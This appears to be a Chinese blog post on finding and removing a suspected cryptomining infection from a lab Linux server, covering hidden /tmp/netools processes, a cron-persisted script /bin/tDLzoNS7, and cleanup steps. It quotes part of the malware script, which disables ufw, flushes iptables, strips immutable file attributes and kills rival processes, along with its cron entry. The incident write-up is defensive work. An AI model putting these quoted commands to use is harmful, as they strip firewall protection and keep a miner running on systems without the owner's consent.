文章目录
提示:本文记录了一起 Linux 服务器感染恶意软件(疑似挖矿病毒)的排查与处理过程,涉及隐藏进程
netools
、恶意脚本/bin/tDLzoNS7
及 Cron 持久化机制。希望对遇到类似问题的读者有所帮助!
背景
最近实验室服务器(ccccs-Z790-UD-AX
)经常发生进程崩溃问题,使用 htop
命令发现其 32 个 CPU 线程总是被完全占用,但未显示相关进程,怀疑系统感染了病毒。结合 unhide proc
检测到的隐藏进程 /tmp/netools
和恶意脚本 /bin/tDLzoNS7
,确认系统存在恶意软件。
本文将详细介绍病毒排查、分析、处理步骤及注意事项。
排查过程
1. 发现异常
通过 htop
观察到 CPU 占用率异常高,但未找到明显的高负载进程。初步怀疑是隐藏进程导致,可能是挖矿病毒或 rootkit。
2. 检测隐藏进程
使用 unhide proc
命令扫描隐藏进程,输出如下:
Found HIDDEN PID: 3010499
Cmdline: "<none>"
Executable: "<no link>"
"<none> ... maybe a transitory process"
Found HIDDEN PID: 3010501
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
...
Found HIDDEN PID: 3010698
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
- 分析:
- 检测到大量以
/tmp/netools
命名的隐藏进程(PID 3010501 至 3010698),以 root 权限运行。 - 进程路径为
/tmp/netools
,表明恶意软件可能在临时目录中运行。 - PID 3010499 显示
<none>
,可能是短暂进程或 rootkit 隐藏。
- 检测到大量以
3. 尝试终止进程
尝试使用 kill -9 <PID>
终止 netools
进程,但 CPU 占用很快恢复,表明存在持久化机制(如 Cron 或服务)重启进程。
4. 深入分析进程
多次使用 ps aux --sort=-pcpu | head -10
以及 ps -aux | grep netools
查看高 CPU 占用进程后,发现可疑进程:
root 3024733 0.2 0.0 12580 3288 ? S 10:30 0:00 /bin/tDLzoNS7 -c ...
命令行内容(部分):
#!/bin/bash crontab -r >/dev/null 2>&1 ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done ufw disable >/dev/null 2>&1 iptables -P INPUT ACCEPT 2>/dev/null iptables -P OUTPUT ACCEPT 2>/dev/null iptables -P FORWARD ACCEPT 2>/dev/null iptables -F 2>/dev/null chattr -i /usr/sbin/ /usr/bin/ /bin/ /usr/lib /usr/lib64 /usr/libexec /etc/ /tmp/ /sbin/ /etc/resolv.conf chattr -i /etc/cron.d/systeml /etc/cron.weekly/systeml /etc/cron.hourly/systeml /etc/cron.daily/systeml /etc/cron.monthly/systeml chattr -ia /etc/ld.so.preload cat /dev/null > /etc/ld.so.preload ...
通过 grok 的脚本行为分析:
- 终止高 CPU 进程:杀死 CPU 占用超过 40% 的进程(排除
xmr-stak
等挖矿相关进程),可能为掩盖自身活动。 - 禁用防火墙:禁用
ufw
和清空iptables
规则,开放所有网络流量。 - 移除文件保护:使用
chattr -i
解除关键目录和文件的不可变属性,便于修改。 - 动态文件名:
- 检查
/usr/lib/systemd/previous_filenames1
和/usr/lib/systemd/previous_filenames2
,读取上次使用的随机文件名。 - 若文件不存在,生成随机文件名(如
/bin/<random_string>
),保存至上述文件。 - 重命名
x86_64
和i386
文件为随机名称,存储在/bin/
。
- 检查
- 持久化运行:
- 将恶意文件复制到
/tmp/netools
和/tmp/neo
,并赋予执行权限。 - 检查
/bin/.locked
中的 PID,若进程未运行,则启动/tmp/netools --tls
。 - 更新
/bin/.locked
中的 PID,确保单实例运行。
- 将恶意文件复制到
- 清理痕迹:终止
fold
、cat
、tr
等辅助进程,隐藏活动。
- 终止高 CPU 进程:杀死 CPU 占用超过 40% 的进程(排除
结论:
/bin/tDLzoNS7
是恶意脚本,负责启动/tmp/netools
,疑似挖矿病毒,具备防火墙规避、文件保护解除和动态文件名伪装功能。
处理步骤
1. 禁用 Cron 任务
- 目标:阻止恶意脚本通过 Cron 重启。
- 步骤:
- 编辑
/etc/crontab
:sudo nano /etc/crontab
- 注释掉周期性任务:
# 17 * * * * root cd / && run-parts --report /etc/cron.hourly # 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) # 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) # 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
- 检查其他 Cron 目录:
ls -la /etc/cron.*/*
- 发现可疑文件
/etc/cron.hourly/nek3MFYw
,内容为:*/1 * * * * root /bin/tDLzoNS7 1 1
- 发现可疑文件
- 将这些行都注释掉 或者 删除可疑 Cron 文件:
cat /etc/cron.daily/GxKvnjSb # /1 root /bin/tDLzoNS7 1 1
- 编辑
2. 删除恶意文件
- 目标:移除恶意可执行文件和相关组件。
- 步骤:
- 删除
/bin/tDLzoNS7
:sudo chattr -i /bin/tDLzoNS7 sudo rm -f /bin/tDLzoNS7
- 检查
/usr/lib/systemd/previous_filenames1
和/usr/lib/systemd/previous_filenames2
:cat /usr/lib/systemd/previous_filenames1 cat /usr/lib/systemd/previous_filenames2
- 假设内容为
XXX
,删除相关文件:sudo chattr -i /bin/XXX /tmp/XXX /tmp/neo sudo rm -f /bin/XXX /tmp/XXX /tmp/neo
- 假设内容为
- 清理
/tmp
和/dev/shm
:sudo rm -f /tmp/netools /dev/shm/netools
- 验证删除:
ls -l /bin/lRrlrT3D /tmp/netools /tmp/neo /bin/XXX
- 删除
3. 终止恶意进程
- 目标:停止
netools
和相关进程。 - 步骤:
- 杀死进程:
sudo kill -9 19871 19872 19873 19874 19875 19919 19...
- 验证:
显示 cpu 资源正常htop
- 杀死进程:
4. 重启系统
- 命令:
sudo reboot
- 注意:
- 重启过程中发现终端无法访问,原因是
/dev
目录文件被删除(可能由病毒或误操作导致)。 - 重启后
/dev
文件自动恢复,终端访问正常。
- 重启过程中发现终端无法访问,原因是
注意事项
- 感染源:
- 此次病毒很可能可能通过不正规的软件包引入,需严格审查下载来源。
- 检查近期安装的软件:
dpkg -l | grep <suspicious_name>
- 持久化机制:
- 定期检查 Cron 任务和系统文件:
crontab -l ls -la /etc/cron.*/*
- 定期检查 Cron 任务和系统文件:
- 防火墙恢复:
- 重新启用防火墙(重启后系统已自动恢复):
sudo apt install ufw sudo ufw default deny sudo ufw allow 22 sudo ufw enable
- 重新启用防火墙(重启后系统已自动恢复):
- 系统安全:
- 更新系统:
sudo apt update && sudo apt upgrade
- 更新系统:
总结
本次病毒感染涉及隐藏进程 /tmp/netools
和恶意脚本 /bin/tDLzoNS7
,通过 Cron 任务实现持久化,疑似挖矿病毒。处理过程包括禁用 Cron、删除恶意文件、终止进程和系统重启。建议加强软件来源管理、定期扫描和防火墙配置,以防止类似事件。
如果您遇到类似问题,可参考本文步骤,并及时联系网络管理员或安全团队。